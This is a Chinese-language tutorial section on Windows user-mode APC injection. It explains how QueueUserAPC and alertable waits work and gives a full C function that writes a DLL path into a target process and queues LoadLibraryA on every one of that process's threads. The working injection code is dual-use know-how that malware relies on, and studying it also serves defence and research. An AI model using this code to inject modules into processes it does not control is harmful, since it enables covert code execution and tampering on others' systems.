11.ring3-APC注入

原理:

往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC。

每个线程都拥有自己的APC队列。应用程序可以使用函数把APC添加到指定线程的APC队列,函数定义如下:

DWORD WINAPI QueueUserAPC(
  __in          PAPCFUNC pfnAPC,//APC函数地址
  __in          HANDLE hThread,
  __in          ULONG_PTR dwData//APC函数的参数  
);


其中APC函数原型如下:

VOID CALLBACK APCProc(
  [in]                 ULONG_PTR dwParam
);
当用户模式APC被添加后,线程并不会直接调用APC函数,只有当线程处于“唤醒”时才会调用,线程调用SleepEx、SignalObjectAndWait、MsgWaitForMultipleObjectsEx、WaitForMultipleObjectsEx、WaitForSingleObjectEx这些函数的时候会进入可唤醒状态,为了增加机会,应向所有线程加入APC

BOOL InjectModuleToProcessById(DWORD dwProcessId, PCHAR pszDllPath, DWORD dwSize)
{
	DWORD	dwRet = 0 ;
	BOOL	bStatus = FALSE ;
	LPVOID	lpData = NULL ;
	UINT	uLen = strlen(pszDllPath) + 1;

	// 打开目标进程
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId) ;
	if (hProcess)
	{
		// 分配空间
		lpData = VirtualAllocEx(hProcess, NULL, uLen, MEM_COMMIT, PAGE_READWRITE);
		DWORD dwErr = GetLastError();
		if (lpData)
		{
			// 写入需要注入的模块路径全名
			bStatus = WriteProcessMemory(hProcess, lpData, pszDllPath, uLen, &dwRet) ;
		}

		CloseHandle(hProcess) ;
	}
	
	if (bStatus == FALSE)
		return FALSE ;
	
	// 创建线程快照
	THREADENTRY32 te32 = {sizeof(THREADENTRY32)} ;
	HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) ;
	if (hThreadSnap == INVALID_HANDLE_VALUE) 
		return FALSE ; 
	
	bStatus = FALSE ;
	// 枚举所有线程
	if (Thread32First(hThreadSnap, &te32))
	{
		do{
			// 判断是否目标进程中的线程
			if (te32.th32OwnerProcessID == dwProcessId)
			{
				// 打开线程
				HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID) ;
				if (hThread)
				{
					// 向指定线程添加APC
					DWORD dwRet = QueueUserAPC ((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpData) ;
					if (dwRet > 0)
						bStatus = TRUE ;
					CloseHandle (hThread) ;
				}
			} 
			
		}while (Thread32Next ( hThreadSnap, &te32 )) ;
	}
	
	CloseHandle (hThreadSnap) ;
	return bStatus;
}





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